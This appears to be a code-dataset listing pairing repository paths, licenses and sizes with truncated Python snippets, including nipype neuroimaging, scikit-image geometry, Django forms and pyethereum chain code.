packaging/os/homebrew_tap.py
Python
gpl-3.0
5,800
import sys, re, os import numpy as np import pandas as pd from glob import glob from nipype.utils import filemanip from nipype.utils.filemanip import (fname_presuffix, copyfile, split_filename) import utils import nipype_ext as npe def spm_dartel_make(gm, wm, template_dir, template_nme): """ run dartel to mak...
klarnemann/jagust_rsfmri
rsfmri/template.py
Python
mit
2,757
__all__ = ['polygon_clip', 'polygon_area'] import numpy as np def polygon_clip(rp, cp, r0, c0, r1, c1): """Clip a polygon to the given bounding box. Parameters ---------- rp, cp : (N,) ndarray of double Row and column coordinates of the polygon. (r0, c0), (r1, c1) : double Top-le...
kenshay/ImageScript
ProgramData/SystemFiles/Python/Lib/site-packages/skimage/_shared/_geometry.py
Python
gpl-3.0
1,409
# FROMS from models import Player from graph import get_graph_from_edges, draw_graph, get_full_cycles_from_graph,\ full_cycle_to_edges, get_one_full_cycle, convert_full_cycle_to_graph,\ get_one_full_cycle_from_graph, get_hamiltonian_path_from_graph,\ is_there_definitely_no_hamiltonian_cycle, hamilton import...
frizensami/archangel
arrange.py
Python
mit
6,656
from django import forms from django.forms.forms import BoundField from .helpers import LMIForAllClient from .fields import MultiCharField class FieldSet(object): """ Taken from stackoverflow.com/questions/10366745/django-form-field-grouping Helper class to group BoundField objects together. """ ...
lm-tools/situational
situational/apps/sectors/forms.py
Python
bsd-3-clause
2,817
# -*-coding:Utf-8 -* # Copyright (c) 2010 LE GOFF Vincent # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # lis...
stormi/tsunami
src/secondaires/navigation/elements/voile.py
Python
bsd-3-clause
8,224
import os import time from ethereum import utils from ethereum import pruning_trie as trie from ethereum.refcount_db import RefcountDB from ethereum.db import OverlayDB from ethereum.utils import to_string, is_string import rlp from rlp.utils import encode_hex from ethereum import blocks from ethereum import processblo...
vaporry/pyethereum
ethereum/chain.py
Python
mit
15,969